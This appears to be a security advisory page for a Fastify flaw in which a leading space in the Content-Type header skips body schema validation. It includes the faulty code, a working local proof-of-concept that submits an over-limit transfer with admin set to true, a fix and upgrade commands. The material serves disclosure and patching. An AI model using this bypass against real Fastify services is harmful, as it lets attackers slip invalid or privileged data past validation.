Skip to content

GHSA-247c-9743-5963 CVE-2025-32442 CVE-2026-33806 GHSA-mg2h-6x62-wpwc

Fastify has a Body Schema Validation Bypass via Leading Space in Content-Type Header

High npm
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.73%
Chance of exploitation in the next 30 days. Higher than 54.26% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-1287 Improper Validation of Specified Type of Input
Fix
5.8.5
Upgrade fastify to this version or later

Description

Summary

A validation bypass vulnerability exists in Fastify v5.x where request body validation schemas specified via schema.body.content can be completely circumvented by prepending a single space character (\x20) to the Content-Type header. The body is still parsed correctly as JSON (or any other content type), but schema validation is entirely skipped. This is a regression introduced by commit f3d2bcb (fix for CVE-2025-32442).

Details

The vulnerability is a parser-validator differential between two independent code paths that process the raw Content-Type header differently. Parser path (lib/content-type.js, line ~67) applies trimStart() before processing:

const type = headerValue.slice(0, sepIdx).trimStart().toLowerCase()
// ' application/json' → trimStart() → 'application/json' → body is parsed ✓

Validator path (lib/validation.js, line 272) splits on /[ ;]/ before trimming:

function getEssenceMediaType(header) {
  if (!header) return ''
  return header.split(/[ ;]/, 1)[0].trim().toLowerCase()
}
// ' application/json'.split(/[ ;]/, 1) → ['']  (splits on the leading space!)
// ''.trim() → ''
// context[bodySchema][''] → undefined → NO validator found → validation skipped!

The ContentType class applies trimStart() before processing, so the parser correctly identifies application/json and parses the body. However, getEssenceMediaType splits on /[ ;]/ before trimming, so the leading space becomes a split point, producing an empty string. The validator looks up a schema for content-type "", finds nothing, and skips validation entirely. Regression source: Commit f3d2bcb (April 18, 2025) changed the split delimiter from ';' to /[ ;]/ to fix CVE-2025-32442. The old code (header.split(';', 1)[0].trim()) was not vulnerable to this vector because .trim() would correctly handle the leading space. The new regex-based split introduced the regression.

PoC

const fastify = require('fastify')({ logger: false });

fastify.post('/transfer', {
  schema: {
    body: {
      content: {
        'application/json': {
          schema: {
            type: 'object',
            required: ['amount', 'recipient'],
            properties: {
              amount: { type: 'number', maximum: 1000 },
              recipient: { type: 'string', maxLength: 50 },
              admin: { type: 'boolean', enum: [false] }
            },
            additionalProperties: false
          }
        }
      }
    }
  }
}, async (request) => {
  return { processed: true, data: request.body };
});

(async () => {
  await fastify.ready();

  // BLOCKED — normal request with invalid payload
  const res1 = await fastify.inject({
    method: 'POST',
    url: '/transfer',
    headers: { 'content-type': 'application/json' },
    payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
  });
  console.log('Normal:', res1.statusCode);
  // → 400 FST_ERR_VALIDATION

  // BYPASS — single leading space
  const res2 = await fastify.inject({
    method: 'POST',
    url: '/transfer',
    headers: { 'content-type': ' application/json' },
    payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
  });
  console.log('Leading space:', res2.statusCode);
  // → 200 (validation bypassed!)
  console.log('Body:', res2.body);

  await fastify.close();
})();

Output:

Normal: 400
Leading space: 200
Body: {"processed":true,"data":{"amount":9999,"recipient":"EVIL","admin":true}}

Impact

Any Fastify application that relies on <code>schema.body.content</code> (per-content-type body validation) to enforce data integrity or security constraints is affected. An attacker can bypass all body validation by adding a single space before the Content-Type value. The attack requires no authentication and has zero complexity — it is a single-character modification to an HTTP header. This vulnerability is distinct from all previously patched content-type bypasses:

CVE Vector Patched in 5.8.4?
CVE-2025-32442 Casing / semicolon whitespace ✅ Yes
CVE-2026-25223 Tab character (\t) ✅ Yes
CVE-2026-3419 Trailing garbage after subtype ✅ Yes
This finding Leading space (\x20) ❌ No

Recommended fix — add trimStart() before the split in getEssenceMediaType:

function getEssenceMediaType(header) {
  if (!header) return ''
  return header.trimStart().split(/[ ;]/, 1)[0].trim().toLowerCase()
}

Affected versions

npm

PackageVulnerableFixed in
fastify
>= 5.3.2, < 5.8.5
5.8.5
fastify
>= 5.0.0, < 5.3.2
5.3.2
fastify
>= 4.29.0, < 4.29.1
4.29.1

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

fastify npm → 5.8.5

npm
npm install fastify@5.8.5
yarn
yarn add fastify@5.8.5
pnpm
pnpm add fastify@5.8.5

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Weakness

CWE-1287: Improper Validation of Specified Type of Input

The product receives input that is expected to be of a certain type, but it does not validate or incorrectly validates that the input is actually of the expected type.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-389g-gv7q-r4x8
fastify is vulnerable to header validation bypass via case-sensitive propertyNames
Low Also affects fastify
GHSA-4mh8-r7rc-xpvc
fastify vulnerable to Denial of Service via unhandled exception on HTTP/2 trailer responses
Medium Also affects fastify
GHSA-9q9j-q6p8-xq58
fastify vulnerable to header validation bypass via incomplete schema case normalization
High Also affects fastify
GHSA-667r-xxjv-c9mm
fastify vulnerable to request body replacement via an async validation result collision
High Also affects fastify
GHSA-hwr6-493r-vm6h
fastify vulnerable to request validation bypass via skipped boolean false schemas
High Also affects fastify
GHSA-p68q-wchp-6fh7
fastify vulnerable to authentication bypass via malformed URLs reaching encapsulated not-found handlers
High Also affects fastify
GHSA-w2qp-rph6-63g4
fastify vulnerable to schema validation bypass via root primitive coercion mismatch
Medium Also affects fastify
GHSA-3m5p-2c4r-xxw2
fastify vulnerable to X-Forwarded-* spoofing under trustProxy hop-count
Medium Also affects fastify
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor